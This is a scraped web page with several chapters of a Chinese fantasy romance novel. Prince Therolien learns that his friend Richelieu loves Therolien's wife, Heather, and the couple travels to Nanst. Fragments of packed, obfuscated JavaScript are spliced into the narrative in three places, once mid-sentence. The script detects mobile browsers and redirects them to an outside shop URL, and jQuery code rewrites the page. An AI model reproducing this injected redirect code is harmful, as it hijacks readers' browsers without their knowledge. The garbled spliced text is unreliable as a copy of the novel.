好一会儿过去,黎塞留才终于有力气卸下头盔。希瑟递给了他一个水袋,他用水润了润喉咙,长长地舒了口气,随即便兴高采烈地与希瑟聊了起来。 这一幕让瑟洛里恩感觉很古怪——他当然不是那种看到妻子和其他男人讲话就心生嫉妒的类型,但是黎塞留,他看起来……太热情了。 他的笑容轻盈而愉快,在脸上过分的通红褪去后,他的面庞焕发出一种自然的红润。他和希瑟一般高,但与她交谈时总是奇妙地保持着仰视的姿势。他看向希瑟的目光是如此专注,紫色的双眼闪烁着崇拜和敬畏的光芒。当希瑟将脱下的链甲放回箱子里时,他的眼睛也一刻不停地跟着她,仿佛是她最忠诚的追随者。 诚然,一个长相出众的人做任何事情都很容易惹人遐想,可是……瑟洛里恩了解平常的黎塞留,如果他只是感到高兴,绝对不会是这种表现,就好像他不只是“感到”高兴,而是在通过这种情绪,把他的笑容和闪闪发亮的眼睛展示给希瑟一样。 令人非常地……不安。 但是也不排除他判断有误的可能性。毕竟,黎塞留和他是平辈,对他自然没有什么尊敬的情绪,而瑟洛里恩也怎么没见过他和克莱蒙梭爵士相处时的场景。 退一万步来说,黎塞留出身名门,相貌俊美,还是前途无量的年轻骑士,在王都时就已经是无数少女的梦中情人了。他有那么多更好的选择,根本没必要对有夫之妇下手……呃,好吧,考虑到布雷泽那人尽皆知的家风,黎塞留在这方面可能不太有信誉。 但布雷泽家族也有不迷恋别人妻子的正常男人,黎塞留最尊敬的兄长克莱蒙梭爵士不就是吗?他不应该对自己的朋友——最好的,同时也是唯一的朋友抱有偏见。 瑟洛里恩摇了摇脑袋,想要把那些杂念抛到脑后。也正是因为这个小插曲,让他错过了上去打招呼的时间。胡尼不知在何时匆匆赶来,手舞足蹈地对希瑟说了些什么……其实他很好奇,假如把这位书记官的双手绑起来,他还能不能正常讲话。 希瑟听完后微微颔首,与黎塞留礼貌性地道了别,然后和胡尼一同离开了。 趁着黎塞留用衬衫擦汗的时候,瑟洛里恩轻手轻脚地绕到他身后,随即猛地拍了一下他的后背。 “殿下?!” 黎塞留不出意外地吓了一跳,差点左脚踩右脚摔在地上——其实瑟洛里恩挺想看到这一幕的,但黎塞留显然有着比他预想中更好的平衡性。 “您怎么在这里?”可能是因为心有余悸,他看起来格外紧张,“您平常都是下午才来的……” “明天我们要出发去南斯特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看到他的反应,瑟洛里恩心中的喜悦荡然无存:“……黎塞留?” 然而,对方仿佛没有听见他的话一样,只是自顾自地喃喃道:“希瑟大人她……真的对您很好……” 此时此刻,他终于没办法继续欺骗自己了——尤其昨晚还发生了那样的事情,他的心思比平常还要敏感得多,根本不可能无视对方身上的种种可疑之处。 “黎塞留,我要你坦诚地回答我一个问题。”瑟洛里恩定定地看着他,“你是不是喜欢她?” 黎塞留愣了一下:“我……我不知道您在说什么……” “希瑟,我的妻子。”他在“妻子”二字上加重了语气,“你是不是喜欢她?” 闻言,黎塞留只是缄默不语——刹那间,时间的流逝显得如此漫长,哪怕须臾也像是过了一整个冬季。 就在瑟洛里恩最后的耐心即将耗尽时,他才轻轻点了点头:“……是。” 虽然在黎塞留无端陷入沉默的时候,瑟洛里恩心里就有了答案,但当真正听到对方肯定的答复时,他依然感觉胸口像是被打了一拳。 他不知道自己究竟该如何回答,在陷入了和黎塞留同样漫长的沉默之后,他叹了口气:“其实你可以骗我的。” “我不想对您撒谎……” “不想对我撒谎?”瑟洛里恩简直要被他气笑了,“操/你的黎塞留·布雷泽,你早就在对我撒谎了!甚至在我们踏入北境之前,你就已经在对我撒谎了!” 18. 第十八章 很久以前瑟洛里恩就感到奇怪,即便黎塞留和他是关系不错的朋友,但绝对没有好到值得对方为他背井离乡,留在这个一年里有半年都是冰天雪地的地方。 留在北境接受希瑟的教导?哈,真是拙劣的谎言,而他当初竟然还对此深信不疑。 “真不敢相信我以前居然为此感动过,甚至觉得我亏欠你的这辈子都还不完!”他几乎歇斯底里地怒吼,“结果一切都是假的!你留在这里只不过是因为你看上了我老婆!” 直到现在,他依然有种离奇的不真实感——为何每当他认为一切都好起来的时候,总会像这样飞来横祸?伊薇特、塞德里茨·欧根、雀斑脸……如今又变成了黎塞留。 可是说到底,黎塞留和其他人是不一样的。伊薇特是希瑟的家人,维护她的姐姐无可厚非,塞德里茨·欧根对他终究不过是一个陌生人,雀斑脸更是死有余辜,不值得他半点伤心。 而黎塞留是他的朋友……或者说,本应如此。 “殿下,请听我解释……” “你不愧是布雷泽家族的人。”他怒极反笑,“毕竟这就是你们的家族传统,不是吗?永远只喜欢别人的妻子。你的父亲福煦·布雷泽侯爵爱上了自己部下的未婚妻,你的大哥泰伦斯·布雷泽爱上了已婚的家庭教师。如果不是因为王家十二骑不允许娶妻生子,说不定克莱蒙梭爵士也会爱上哪个人的老婆……现在终于轮到了你,黎塞留。” 面对他的指责,黎塞留不禁面露愧色,但还是小声为自己辩解道:“我认识希瑟大人的时候,她还没有结婚……” “这是重点吗?!”瑟洛里恩有点受不了他,“重点是你这个混蛋骗了我!” 而且这家伙真的很会打岔——他原本已经准备好了世上最愤怒和恶毒的语言,结果现在脑子里已经忘记了大半。 “瑟洛里恩……”黎塞留的语气近乎恳求,“我不奢望你原谅我,但至少请听一听我的解释。” 不是“殿下”,而是“瑟洛里恩”。 尽管瑟洛里恩不想承认,但他的心还是产生了一丝触动。 “别指望我给你多少时间。”他强调道。 “正如你所猜测的那样……”黎塞留叹息一声,“自从四年前在比武竞技大赛上被希瑟大人打败后,我就沦为了爱情的俘虏。” “我对你怎么爱上我老婆的过程没有兴趣。”瑟洛里恩啧了一声,“你最好捡要紧的说。” “阿利斯特国王想要让玛丽昂夫人成为自己真正的妻子,因此他一直很忌惮英格丽王后……凯洛家族如今对于北境的统治力可谓是空前绝后,蒙哈榭伯爵又是王后的外祖父。考虑到王后的势力已经如此之大,国王陛下当然不会再允许布雷泽家族成为她的姻亲。” 这句话背后的含义已经很清楚了——显然,黎塞留曾经向他父亲提出过与希瑟结婚的请求,但是被布雷泽侯爵回绝了。 “我是家中幼子,没有继承人方面的压力。”说着,黎塞留的脸颊微微泛红,“早些年,我曾想过在成年后作为自由骑士前往北方游历,然后为希瑟大人效力……反正只要有感情的话,哪怕一辈子过着有实无名的生活也没关系。” 瑟洛里恩朝他翻了个白眼——这家伙究竟在害羞什么?难道还指望他为这份深情而感动吗? “然后,我就得知了王室即将与凯洛家族联姻的消息,男方是……你。”黎塞留继续道,“我知道自己的辩解很无力,但当时我也考虑过你的处境。我知道你在王宫里过得并不好,而陛下——以他反复无常的性格,即使现在认为你没有威胁,将来也有可能因为一时兴起而对你下毒手。能够远离王室的纷争,对你而言的确是一条好出路。” 事实上,在来到北境之前,他就是抱着这样的心态……哪怕和狼住在一个洞窟里,也比和阿利斯特生活在一个屋檐下要好。 从这个角度出发,他其实挺理解英格丽王后为什么总是郁郁寡欢,把人生最好的年华浪费在了和一头蠢猪同床共枕上,任谁都会对自己的人生感到绝望。 “为了控制你,陛下派给你的必然都是负责监视你的人。无论是出于安全上的考量,还是别的原因,只要有我在,你也不至于太孤立无援。而希瑟大人……她并非大多数男人会选择作为妻子的那类女性,所以我想……假如你婚后不想与她有过多接触,我可以代为履行丈夫的责任,为她提供感情和身体上的慰藉……” 虽然黎塞留已经满脸通红了,但瑟洛里恩很确定这只是他谈及自身感情时的腼腆——毫无疑问,对方肯定很认真地考虑过这件事,并且一点也不为自己无耻的妄想感到惭愧。 “虽然这场联姻来得非常仓促,但我认为这是一个对谁都好的结果。”黎塞留说,“我从未想过伤害你,瑟洛里恩……至少请相信这句话。” 瑟洛里恩既没有肯定,也没有否定——因为他根本没法回答。他知道这些话都是真的,即使真相有时候会很伤人。 而这正是整件事里最讽刺的地方。如果黎塞留只是一个虚情假意的表面朋友,打着为他好的旗号,实则只是贪图他的妻子,现在他就可以毫不留情地离开,然后把对方遣回北境,永不相见。 ……但他明白事实并非如此。 他知道他们的友情不是毫无价值的,如果他抛弃了它,那么过去的他就真的一无所有了……然而,他也没有办法原谅他。 指望黎塞留在坦白后即刻放下自己的感情当然是不现实的——布雷泽家族过往的诸多案例都证明了这一点,他们虽然具备骑士应有的美德,但他们在择偶方面的感性时常会凌驾于美德之上。 “我……”他深深地吸了口气,“我需要时间冷静一下。” “我理解。”黎塞留低声答道。 离开前,瑟洛里恩又听见他轻声道:“对不起,瑟洛里恩……” 他没有回答,只是快步离开了……尽管他极力遏制,但他知道自己看上去像是落荒而逃。 回到主堡后,瑟洛里恩就这样魂不守舍地在卧室里度过了一天。直至希瑟晚上回来,他的大脑还是一片空白。 “瑟洛里恩?”他的妻子忧心忡忡地问道,“你还好吗?” 他差点就像突然看见身后有根黄瓜的猫一样从床上跳了起来,慌不择言道:“抱、抱歉,我只是……只是想问能不能让黎塞留也用城堡的公共浴池……” 见鬼,他为什么要提黎塞留?明明他现在最不想提到的名字就是黎塞留! “当然可以。”好在希瑟没有起疑,“等我们从南斯特回来之后,我会和布琳迪丝女士打声招呼的。” “噢,对了,说到这个……”瑟洛里恩结结巴巴道,“他恐怕去不了南斯特了……我是说黎塞留……” “是吗?早晨我和黎塞留爵士说了这件事,当时他并没有拒绝。” 糟糕,他都忘记这个消息是希瑟先告诉黎塞留的了:“没错,黎塞留爵士是事后才想起来的……出于一些原因……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14192863|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “比如?” 因为他觊觎你!那个混蛋就差晚上偷偷脱光衣服爬到你的床上了——这些话当然不能告诉希瑟,但瑟洛里恩不擅长应付突发状况的毛病此刻又发作了:“因为他……他对海水过敏!” 此话一出,别说是希瑟,连他自己都觉得蠢透了。 其实他之所以不肯带上黎塞留,不仅因为他眼下不知该如何面对他,也是因为不想让他和希瑟有更多机会接触……一想到他们有可能在前往南斯特的路上相谈甚欢,瑟洛里恩就感觉一阵心慌意乱。 黎塞留不仅有着英俊的外貌和高贵的出身,而且年纪轻轻就剑术超群,足以与希瑟并肩作战,假如希瑟察觉到了他隐晦的爱意,真的不会心生动摇吗? 现在回想起来,希瑟基本每天清晨都会去校场,她跟黎塞留应该已经接触了一段时间……也许黎塞留已经向她坦诚了自己的心意? 不,他的妻子是一个道德感极强,并且在感情上抱有逃避心态的人(后者比较重要),假设黎塞留真的这么做了,她也只会拒绝并主动回避他,不可能像今天早上一样和他单独切磋,而黎塞留也不是那种……好吧,他现在可不敢替对方的人品作太多保证。 希瑟静静地看了他一会儿——她的视线温和而平静,不带有任何指责的意味,但瑟洛里恩还是情不自禁地感到羞愧。他不止向她隐瞒了自己的真实身份,还向她隐瞒了一个更好的选择……当你可以选择黎塞留·布雷泽成为伴侣的时候,又有谁会屈就一个见不得光的小杂种呢? “没关系,瑟洛里恩。” 他吓得一个激灵,有些心虚地问道:“什、什么?” “我也和你有过同样的心情——有许多烦恼埋藏在心里,但又不想和任何人倾诉。”希瑟说,“布琳迪丝女士总是能轻易看穿我,但她从不会逼我说出来,只是告诉我,假如有一天我想要找人分忧,随时都可以唤她前来……既然我曾经从他人那里得到了宽容与谅解,自然不该对他人太过苛责。” 也有可能你只需要对布琳迪丝女士报以宽容……瑟洛里恩有时很难坦然面对妻子的好意,因为他知道自己不值得这些。 “总之,我知道你此刻满腹心事,但并不想与旁人分享。这不是什么值得愧疚的事情,瑟洛里恩,每个人都有自己的小秘密。只是……如果有一天你感到不堪重负,心中有了想要倾诉的欲望,我随时都愿意倾听。” 瑟洛里恩怔住了:“希瑟……” 希瑟微笑着摇了摇头,阻止了那些感谢的话语。 “既然黎塞留爵士不能去南斯特的话,我这边会派几名护卫给你。”她脱下外套,“明天还要出远门,我们得早点休息了。” 蜡烛熄灭后,房间里暗了下来。瑟洛里恩侧躺在床上,借由窗外的微光,用视线细细描摹着妻子的脸庞。 某种意义上,黎塞留说的其实也没有错。当初他对北境的最大期许就是过上平静且衣食无忧的生活。以希瑟的品性,无论他们有没有夫妻感情,她都会为他提供优渥的生活环境。 假如希瑟与黎塞留私下心意相通了,他们各自都能在感情上得到满足,而他也可以一边与希瑟过着相敬如宾的生活,一边保全与黎塞留的友情,这似乎是一个对谁都好的结果。 可在内心深处,瑟洛里恩还是忍不住小声祈祷,拜托了,不要喜欢上黎塞留……不要对他产生感情…… 因为我…… …… 我对你…… 19. 第十九章 “前面发生了山体滑坡,把路堵住了。”骑士回来报告,“大人,恐怕我们得绕路了。” 唔……这可不是一个好预兆。 “下雪也会导致山体滑坡吗?”瑟洛里恩好奇道,寒风把他白皙的脸颊冻得发红,“我还以为只有春夏那种多雨的季节才会这样呢。” “反复融冻会导致土壤变得松散,雪堆本身的重量也是一种负担。”希瑟解释道,“不过,这种情况只在秋冬交替之际才会偶尔遇到。” “所以我们是一群不幸的倒霉蛋。”瑟洛里恩作出总结。 “很直白的结论……但客观而言不算错。”她轻轻咳嗽一声,“哈康爵士,如果我们要绕道而行的话,最近的路是哪一条?” “如果走铁森林的话,应该能在天色完全黑下来之前抵达戴尔镇。”老骑士回答。 铁森林……仅仅是听到这个名字都能让希瑟的心跳停止一拍。 “哈!铁森林,决战之地!”瑟洛里恩兴致勃勃道,“我一直想亲眼目睹一下巨龙坟,你们觉得埃特尔会介意我取走它的一点鳞片和骨头做研究吗?” “您可千万不能靠近铁森林呀,殿下。”杰罗德——随行护卫中最年轻的骑士故意压低了声音,“自从毒龙葬身铁森林之后,那里就整日黑雾缭绕,住在附近的人都说那是毒龙的尸体散发出的瘴气。曾经有不少盗贼想要进到森林里盗取一些龙骨龙爪什么的,最后都下落不明了。” “别吓唬殿下了,杰罗德爵士,铁森林的雾气没有毒。”哈康摇了摇头,“话虽如此,人们会抱有怀疑也不奇怪,铁森林以前只在早上有雾,到中午就差不多散完了,不会像现在这样从早到晚不见天日。而且毒龙死后,铁森林里的动物也都绝迹了。” “也许那是埃特尔对人类的诅咒。”杰罗德骄傲地表示,“毕竟是公爵大人杀了它。” “为什么你的语气那么亢奋……难道被毒龙诅咒是什么好事吗?” “那当然!殿下,战士最大的荣耀就是敌人刻骨铭心的恨意!” 瑟洛里恩耸了耸肩:“我个人还是更偏向‘战士的荣耀是身上的伤疤’这种说法……” “以前的确有一些盗贼和探险家死在铁森林里,但基本都是因为在森林里迷失了方向,最终饥寒交迫而亡的。”希瑟说,“不过,毒龙的尸体确实有可能污染森林里的土壤和水源,所以已经很久没有人靠近过巨龙坟了,只要不离那里太近,仅仅是穿过铁森林的边缘并不会有什么危险。” 规划好路线之后,队伍便重新整顿出发。 “那个姜黄头——呃,我是说杰罗德爵士,他的性格是不是有点太活泼了?”瑟洛里恩问道。 “这或许就是年轻人吧。”希瑟笑了笑,“杰罗德爵士是达拉伯爵最小的儿子,今年不过十六岁,更不用说他一直是家族中的异类了。” “异类?” “达拉家族的祖上是……刽子手。尽管这已经是三代之前的事情了,但达拉家族内部一直保持着这种阴郁的基调,家族纹章也是渡鸦。”她答道,“大多数达拉氏的性格都偏向沉默寡言,唯独杰罗德爵士例外——刚才你也见到了,那孩子的性格很外放,总是充满活力。” “确实,比起渡鸦,更像是麻雀。”瑟洛里恩评价道。 “虽然如此,但达拉伯爵一直很疼爱他。”否则依照达拉家族的情况,幼子理应会被送到修道院成为修士,而非送到凯洛家族成为公爵的侍童。外加毒龙劫过后的数年动荡,让许多年轻人得到了施展拳脚的机会,否则杰罗德不可能那么快就从侍童晋升为正式骑士。 “可以理解。不管怎么说,有趣的家伙总是很难让人讨厌。” 不仅如此……希瑟在心里回答,越是生活在死亡的笼罩之下,就越是渴望那些有着蓬勃生命力的存在,这是人的本性。 “对了,今天的旅途可能会比预计中长不少。”希瑟叮嘱道,“如果感觉撑不下去的话,记得要跟我说。” “没事,我好得很。”可能是很少骑行出门的缘故,瑟洛里恩此时看起来神采奕奕,对周围的任何事物都充满了新鲜感——当然,等他的大腿因为骑马太久而磨伤红肿的时候,他对这趟旅程可能会有些不太一样的想法。 冷杉树繁密的枝叶遮挡了阳光,道路昏暗,他们只好放缓了速度。马蹄踩过雪地和枯叶,发出嘎吱嘎吱的声响。人的吐息在空气中凝冻成霜,须臾便消散在了浓厚的灰雾中,好似一滴雨水掉进了墨水瓶。森林里的溪流尚未完全冻结,有几根枯枝浸泡在水里,露出水面的部分结满了白霜,在流水中央的碎石间形成了一条蜿蜒的白色小径。 中途他们休息了两次,因为瑟洛里恩实在撑不住了。 “我好像感觉不到我的屁股和腿了……”作为玩笑,他的表情有点太认真了,“它们还在那儿吗?” “当然。”希瑟回答。 “真的吗?” “真的。” “可我感觉它们的存在很模糊……就好像它们丢下我跑了,因为不想继续骑马。” “你还能走路。”希瑟委婉地提醒。 “腿的确还在。”瑟洛里恩拍了拍大腿,并且在不小心拍到磨伤的地方时吸了一口冷气,“但屁股是长在后面的,对吧?它完全有机会趁我不注意的时候偷偷溜走。” “你的屁股很好,瑟洛里恩,没有任何问题。” 闻言,瑟洛里恩的面庞一瞬间红了起来:“呃……谢谢?” 希瑟眨了眨眼睛,过了几秒才意识到自己方才究竟说了什么,这让她的脸也不禁发烫:“抱、抱歉……” “没、没关系……”他干巴巴地回答,“反正我们是夫妻,不是吗?不会有人笑话我们……” “嘿嘿~” 瑟洛里恩翻了个白眼:“闭嘴,杰罗德爵士。” 临近傍晚,他们终于抵达了戴尔镇,当地的执政官斯滕·奥尔森男爵热情地接待了他们。 “好久不见了,公爵大人。”斯滕的目光在她和瑟洛里恩之间徘徊,“这一位想必就是亲王殿下。” 对方的面容比她记忆中多了几道皱纹,两鬓也变得斑白——年轻时的伤病和岁月的流逝终究还是追上了他:“好久不见,斯滕大人。” “布丽①、吉尚和比约恩他们还好吗?” “布琳迪丝女士的身体依旧健朗,吉尚大人……坦诚说,我和他也有段时间未见了,比约恩最近得了第一个孙子。” “特里格维居然有孩子了吗?”斯滕有些讶异,“他确实是一个好小伙子,年轻力壮,勤勤恳恳,娶的姑娘也好,比约恩真是一条幸运的老狗……对了,胡尼最近怎么样了?” “他也很好,在自己的岗位如鱼得水。” 对方哈哈大笑:“果然是这样,当初我就觉得那个年轻人沦落到伺候我的傻儿子实在太可惜了。” “说到这个……”希瑟扫视四周,“似乎没见到辛德雷?” “那臭小子打猎去了。” “现在可不是打猎的好季节。” “哼,他当然知道,只是不想待在家里对着我这张老脸罢了。”斯滕摆了摆手,“不等他,晚餐已经准备好了,可不能让两位贵客饿着肚子。” 晚餐十分丰盛,斯滕还在用餐期间多次劝他们全部吃完——“最好连一点肉沫都别剩下,让那臭小子回来之后去吃发硬的干面包吧”,这是他的原话。 用餐结束后,斯滕邀请她出去走一走,希瑟应允了。瑟洛里恩则先回了房间,以便考虑他今晚是不是应该趴着睡觉。 “所以那份情报确定是真的?”他捻了捻胡须,“真不敢相信萨迦里人居然已经深入到了这里,看来那个伊瓦尔可比他父亲贪婪得多。” “年轻的国王总是大胆又野心十足。” “哼,如果他能被称作是‘国王’的话。”他冷笑一声,“伊瓦尔——‘荣耀捍卫者’,真是一个傲慢的名字。不过嘛,我还是不敢相信埃蒂安·马尔尚居然会和他们勾结。那个缩卵的软蛋,只要您横他一眼,他就尿裤子了,怎么可能有胆子跑去找萨迦里人?” 在当年的正义者之矛中,埃蒂安·马尔尚是唯一没有任何作战经验的领主。“碎矛三连捷”之后,马尔尚家族也是第一个宣布投降的。 虽然能避免战争对于当时满目疮痍的北境无疑是一件好事,但埃蒂安·马尔尚毫无骨气的表现仍令许多人感到不齿。 “我也不希望见到这种情况,毕竟南斯特是北境的经济重心。”希瑟揉了揉太阳穴,“但不可否认的是,如今的南斯特有诸多可疑之处——这座城市足够富裕,假如马尔尚伯爵宁可冒着上绞刑架的风险也要铸造假银币,说明他有一些隐秘且难以推辞的高昂开支……您应该也很清楚,要长期赡养一支军队有多么昂贵。” “您怀疑他雇佣了萨迦里人?” “至少雇佣到了萨迦里人——马尔尚伯爵没有管理军队的经验,有些情况不一定出自他的主观意愿。”她答道,“然而,无论他是有意还是无意,这件事都该到此为止了。” “您去挫一挫他的锐气也好,那家伙自诩祖上是高贵的王都名门,总是摆出一副自己与众不同的派头,惹人讨厌。”斯滕说,“唉,不聊这些败兴的事情了。距离您的婚礼也过去半个月了,婚后生活还好吗?” “瑟洛里恩是一个不错的人。” “那位殿下长得倒是挺漂亮,就是看着瘦弱了一点。”对方摸摸下巴,“当然啦,他们南方人都是这样,不管长得高还是长得矮,看起来都细细瘦瘦,跟面条似的。好在上面细点儿也就罢了,下面不细就行。” 听到他的话,希瑟顿时满脸通红,斯滕大笑着打趣她:“您已经二十啦,大人,而且是一个有家室的女人了,不能总是脸红得跟黄花闺女一样。英格丽陛下在您的年纪都已经生下太子了。” ……可这真的能算是好事吗?她心中犹疑。 英格丽与阿利斯特的关系一直不和睦,自从生下西塞罗之后,两人就再无子嗣。她的姐姐年纪轻轻就过起了寡妇般无望的生活,远离家乡,无人依靠。 埃达城沦陷之后,她更是想过割腕自杀,最后在孩子的苦苦哀求下才勉强放弃。可求死之心或许是一时的,对丈夫的憎恨却是永无止尽的——四年前,英格丽与她叙旧时不小心说漏了嘴。一想到她差点也失去了英格丽,希瑟就感到一阵后怕。 好在北境恢复和平后,阿利斯特对待英格丽也不敢那么肆无忌惮了……然而,玛丽昂夫人腹中的孩子依然是一个隐患。 更准确地说,阿利斯特本人依然是一个隐患——这位傲慢又冲动的国王陛下,恐怕很难意识到自己冲冠一怒为红颜的下场。当一个人对于自己所作所为的代价毫无概念时,就很难预料他到底会做出怎样荒唐的事情。 “您的脸色似乎不太对劲。”斯滕的表情突然严肃起来,“难道那个叫瑟洛里恩的小子私下对您不好?” 希瑟的确在为某些事情忧虑,但没想到对方会想得那么歪,连忙道:“你误会了,瑟洛里恩人很好,和他的其他兄弟截然不同。虽然我们作为伴侣不是特别般配,但相处久了之后……” “狗屎!”斯滕往地上吐了口唾沫,“哪个不长眼的家伙敢说这种话?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14200279|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没有人这么说。”希瑟一向认为自己的交流能力还算不错,但现在她觉得自己越说越混乱了,“只是我偶尔会这么感觉……” “那也是狗屎,哪怕是您说的。”对方说,“您的父亲拉格纳娶了这世上最美丽的女神,难道有人认为他们不般配吗?” 那当然,这么想的人还不少呢……希瑟在心里默默答道,否则先王就不会把这场赐婚当作是对母亲的报复了。 “您是北境的主人,纳维亚人骄傲的战士,英勇的拉格纳之女,值得这个世界上最好的人。”说着,他莫名叹了口气,“我好像从未和您提起过……大人,您还记得最终之战前一晚的事情吗?” “当然。”毕竟她是决战的亲历者。 “当时您执意独自前往。”斯滕回忆道,“没有人能够反对——说到底,那场战斗已经不是我们这样的普通人有资格参与的了,最终我只能与所有人一同目送您远去。在走进铁森林之前,您忽然勒住贝斯特拉,回头望了一眼,目光就像是越过营帐看向了很远的地方……当时我突然有种感觉,您仿佛知道自己不会再回来了。” 希瑟没有回答。 “好在诸神保佑,伟大的斯诺里没有急着召您去英灵殿。”他继续道,“接着,您重新收复了北境,赶走了入侵者,现在也和您的父母一样有了自己的家庭。大人——不,希瑟,孩子,既然命运三女神那时没有剪断你的线,也许就是想要告诉你,幸福的生活就在将来,希望你不要半途止步。” 她勉力点了点头:“我明白。” 可是她真的明白吗……? 希瑟对此感到怀疑——尽管如此,她知道有些时候善意的谎言比真相更加重要。 等她回到房间时,瑟洛里恩已经睡着了。 床边的蜡烛还没有熄灭,对方多半是想等她回来以后再睡的,只是在等待期间太困倦了——这是值得体谅的,对于一个不常骑马出门的人来说,今天的旅途确实有点漫长。 她脱下外衣,吹灭了蜡烛。 不知是因为今天经过了铁森林,还是因为适才与斯滕的谈话,希瑟总感觉有一股沉重的情绪萦绕心头,然而她还是很快陷入了梦乡。 梦中的埃达城燃起了熊熊烈火,天空乌云密布,电闪雷鸣,一闪而过的白光足以撕裂天际,并隐约照亮了黑雾深处的庞然大物。 她在白盔堡里奔跑着,曾经熟悉的道路变得陌生且漫长。不知过了多久,她耗尽了力气,双脚如同灌铅一般沉重,远处被烧焦的哨塔和墓园令她几近落泪。她恍惚地来到了主堡前,试图推开大门,可是门扉纹丝不动。 “来人啊!快来人啊!”她拼命地敲着门,“外面着火了,快让我进去!” “不,希瑟……”一个令人怀念的声音幽幽响起——是母亲,“这里没有人能给你开门。” 火势不断蔓延,希瑟小声抽噎起来:“母亲,四周都是火……求您了,给我开门吧……” “希瑟啊希瑟,难道你忘了吗?”对方温柔地回答,“你一定忘记了重要的事情,对不对?” 大火吞噬了道路两旁的槭树,橙红的火光照亮了灰色的台阶。她不知为何没有穿鞋,脚底的石板被火焰烧得滚烫。 “母亲,我的脚好疼……谁来都好,不要把我关在外面……”她的双脚满是烫伤的燎泡和碎石的划伤,恐惧占据了她的心脏,“父亲,对不起,我再也不偷偷翘课了……我一定好好听老师的话,当一位淑女,求求您给我开门吧……” 父亲的声音一如记忆中那般威严,与母亲温柔的语调截然不同,但他的回答和母亲一样:“不,希瑟,没有人能给你开门。” 她继续用力拍门,随后又用指甲抠着门板。她的手掌破了皮,指甲流下了鲜血。她感到又累又疼,心中充满了绝望。白盔堡拒绝了她——她的家拒绝了她,这让她忍不住放声大哭。 就在此时,第三个人的声音响起:“希瑟……” “西格德……?”刹那间,她忘记了疼痛,甚至忘记了附近还有大火燃烧,“西格德,我不想一个人待在这里,我需要你……”泪水划过了她的脸庞,“拜托了,让我进去吧……我好害怕……” “我们都救不了你,希瑟。”西格德回答,“难道你忘了吗?我们已经死了。” 她的心跳骤停。 “我们并不在这里。”父亲说。 “我们只是你的幻想。”母亲说。 龙焰点燃了她的裙摆——希瑟嗅到了毛发被烧焦的苦味,火舌正在舔舐她的皮肤。 “所以,这是我的梦……”她喘着气,但不再哭泣,只是力竭地沿着大门跌坐下来,“只有我一个人,对吗?” “没错。”他们回答,“逝者已逝。” “那我可以在这里多待一会儿吗?”希瑟将脸贴在门上,感受着门板另一侧传来的动静,“我已经很久……很久没听到过你们的声音了。” “当然。”他们回答,“在火焰将一切燃烧殆尽之前。” “我很想念你们。”她喃喃道,“我最近过得还不错……虽然也不是那么好,但比以前好多了,所以你们不用为我担心……” 这一次,他们没有回答,但希瑟想象着他们在门的另一侧面露微笑。 “西格德……” “我在。” “很抱歉我没有去猎户小屋。” 她从喉咙里尝到了灰烬的味道——火焰正在蚕食她的肺腑,所以她不确定自己有没有说出最后那句话,或者她说了出来,但对方没有听到……不过那些都无关紧要了。 毕竟,逝者已逝。 20. 第二十章 “瑟洛里恩?”希瑟一边把柏尔的缰绳系在贝斯特拉的马鞍上,一边问道,“你还好吗?” 他沮丧地回答:“我没事。” “你一直用斗篷的领子遮着脸。” “因为我没脸见人。” 由于大腿磨破的地方实在痛疼难忍,瑟洛里恩不得不面对自己无法继续骑马的现实,好在希瑟问斯滕·奥尔森男爵借了一辆马车,使他不必像一个累赘的大型行李一样被遗落在戴尔镇。 瑟洛里恩为此感到很羞耻。如果可以的话,他宁可躲进行李箱里,然后被运上马车,这样他就不用面对其他人好奇的目光了——尽管这些目光中大多包含着关切。 “最开始都是这样的。”希瑟安慰道,“先是磨破,然后愈合,再磨破,再愈合……如此反复,你的皮肤终有一天会变得像皮革那样柔韧。” 所以这种情况居然还要反复好几遍……? 老天啊,他宁可用脚跑回埃达城。 也许是怕他一个人无聊,杰罗德经常跑到车厢边上和他搭话。 “殿下!”对方说,“在成为骑士之前,我曾经想当一个面包师,整天在炉子边揉面团,但后来我放弃了。” 他配合地问道:“所以这是为什么呢?” 年轻人哈哈大笑:“因为这样发不起来①!” 真是一个好心的小伙子,但介于对方说的大多是些无聊的双关语笑话,所以瑟洛里恩宁可继续闭着眼睛打瞌睡……好吧,躲进行李箱的理由现在又多了一个。 “嘿!殿下!”当杰罗德的声音第五次响起时,他已经养成了第一时间扬起微笑的习惯,就像是那种上了年纪的长辈看见邻居家的小孩刚玩完泥巴跑过来,“看,松雀!” 瑟洛里恩看着对方手中一动不动的红色小鸟:“它看起来已经死了。” “是的!”杰罗德兴高采烈道,“它明显已经冻死好久啦!” “所以……你为什么要给我看一只冻死了的松雀?” “您不觉得这很有趣吗?” 我觉得真正有趣的是你的大脑……考虑到对方出生自一个刽子手家族,瑟洛里恩认为自己不能对他太过苛责。 不过在黎塞留缺席的情况下,能有这么一个性格活泼的人说说话也算是一种慰藉,而且有了被冻死的松雀作对比,那些双关语笑话好像也不是那么难以忍受了。 下午,他们顺利抵达了南斯特城。 